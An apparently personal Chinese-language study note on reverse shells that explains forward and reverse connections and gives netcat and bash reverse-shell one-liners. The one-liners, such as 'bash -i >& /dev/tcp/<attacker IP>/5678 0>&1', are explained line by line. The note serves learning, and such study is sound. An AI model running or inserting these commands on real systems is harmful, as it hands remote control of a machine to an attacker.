安防-反弹shell

这两天接触到比较多的网安漏洞信息，上网看了些资料，记个笔记

言而简之，就是黑客攻占了目标，弹一个shell，构建一个稳定的通信后门为之所用

反弹shell

正向连接

将A机器攻陷后打开了A机器的一个端口，攻击者在自己的机器去连接A机器（IP:端口），常见的有远程桌面，web服务，ssh和telnet等都是正向连接

反向连接

1.首先理解为什么要进行反向连接

• 防火墙存在，目标机器只能发送请求，不能接受请求
• 目标端口被占用，可能会因为防火墙的策略导致合法的ssh连接被阻断
• 目标机器位于局域网内，或者是动态IP，攻击机无法直接连接

可以这样理解，对于攻击者插入的病毒，木马，攻击者不知道受害者何时会中招，何时会开机，何时会联网，对于攻击者来讲，都是未知的，于是乎需要利用反向连接来进行。这就很容易知道，反向连接需要受害者的机器主动连接攻击者的服务端程序，因此大多数的攻击都来源于反向连接。

于是就出现了反弹shell这个攻击行为，但反弹shell的利用方式有很多，主要看主机的环境，若安装有netcat，那就可以利用netcat反弹shell，若是python环境，可以进行python反弹shell。这里我主要做一些了解性的学习几种。

2.利用netcat反弹shell

Netcat是一款Unix工具（Unix操作系统上可用的一系列命令行工具），使用的是UDP和TCP协议，它容易被其他程序所启用的后台操作工具，故而也常被黑客用作网络测试工具，从而轻易的建立任何连接。但目前的linux版本自带了netcat工具，修复了一些高危行为的操作，如原生版本的netcat有参数-e，它允许远程主机在本地主机上执行命令。

连接后可以进行命令的执行，-e后面接要在靶机执行的命令

netcat xxx.xxx.xxx.xxx 2333 -e /bin/bash

3.bash反弹shell

下班了下班了，明天再写
更新：嘿bro，坐标12月26，今晚值班，还要排查产品故障，有些问题真的出现的莫名其妙。

简单来说就是，bash产生了一个交互环境，本地主机主动发起与攻击机的一个端口连接（假设为5678端口），如：

bash -i >& /dev/tcp/172.xxx.xxx.72/5678 0>&1

或者：

bash -c "bash -i >& /dev/tcp/172.xxx.xxx.72/5678 0>&1"

bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1重定向TCP 5678会话，将用户标准输入与用户标准输出结合，再次重定向给一个标准的输出，就成了一个bash反弹环境。

解释如下：
bash -i: 启动一个交互式的Bash shell。-i选项表示以交互式模式启动Bash，这意味着可以在Shell中输入命令并与其交互。

>& /dev/tcp/172.xxx.xxx.72/5678: 将标准输出和标准错误重定向到指定的IP地址和端口。在这种情况下，它会将输出和错误信息发送到IP地址为172.xxx.xxx.72，端口为5678的远程主机上。

0>&1: 将标准输入重定向到标准输出。这实际上是将输入流复制到输出流，使得用户可以在远程主机上输入命令并获取输出。

坐标1.15，我才回来上两天班，元旦前调休到1.11才上班，这文章就记录到这吧，原理大差不差，就那个意思，理解就行，可用多看看反弹shell的文章（给我自己说的。。。